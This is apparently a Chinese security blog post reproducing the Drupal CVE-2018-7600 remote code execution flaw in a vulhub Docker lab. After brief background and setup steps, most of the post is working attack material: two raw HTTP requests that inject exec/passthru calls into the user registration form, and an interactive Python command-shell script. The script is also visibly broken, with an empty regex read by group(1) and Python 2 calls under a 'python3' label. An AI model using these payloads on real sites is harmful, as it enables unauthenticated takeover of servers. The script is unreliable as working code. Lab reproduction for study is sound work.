【渗透测试】Drupal 漏洞 CVE-2018-7600 远程代码执行-复现

Drupal 漏洞 CVE-2018-7600 远程代码执行-复现

漏洞简介:

Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用。两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CVE-2018-7600 Drupal对表单请求内容未做严格过滤,因此,这使得攻击者可能将恶意注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。

漏洞原理:

drupal的注册页面,当我们提交的数据有问题时,它会把我们传入的参数构造成表单数组,然后经过渲染成html页面返回。当我们传入的参数是精心构造时,就会导致意外的发生。

复现虚机:

使用vulhub漏洞环境进行复现,使用前需要安装好docker和docker-compose
进入vulhub的vulhub/drupal/CVE-2018-7600路径下,使用docker-compose up -d开启虚机,然后在浏览器访问ip:8080进行Drupal环境的安装。

影响版本:

Drupal 6.x

Drupal 7.x
Drupal 8.x

环境安装:

1、语言选择English,中文会报错
【渗透测试】Drupal 漏洞 CVE-2018-7600 远程代码执行-复现_第1张图片【渗透测试】Drupal 漏洞 CVE-2018-7600 远程代码执行-复现_第2张图片
【渗透测试】Drupal 漏洞 CVE-2018-7600 远程代码执行-复现_第3张图片【注意:这里Database file的路径重复实验的时候使用一个路径会报错,我的处理办法是改变路径】

没有数据库,多以选择SQLite
【渗透测试】Drupal 漏洞 CVE-2018-7600 远程代码执行-复现_第4张图片

设置用户名密码等信息
【渗透测试】Drupal 漏洞 CVE-2018-7600 远程代码执行-复现_第5张图片

安装完成。
下面开搞:
使用poc直接打,id的位置可以替换成别的命令。

Poc1:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id【替换id执行命令】
Poc2:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: ip:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.18.0.1:8080/user/register
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Length: 625
Connection: close

-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"

passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"

markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"

whoami
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"

user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"

交互式命令执行python3脚本:
使用
python2 RCE.py http://127.0.0.1:8080

import requests
import re
from sys import argv

domain = argv[1]


def exploit(command):
	HOST=domain

	get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':command, 'name[#type]':'markup'}
	post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
	r = requests.post(HOST, data=post_params, params=get_params)

	m = re.search(r'', r.text)
	if m:
	    found = m.group(1)
	    get_params = {'q':'file/ajax/name/#value/' + found}
	    post_params = {'form_build_id':found}
	    r = requests.post(HOST, data=post_params, params=get_params)
	    print("\n".join(r.text.split("\n")[:-1]))


while True:
	command = raw_input('$ ')
	exploit(command)

补充:docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down

by 久违 2021.1.11

你可能感兴趣的:(渗透测试,安全)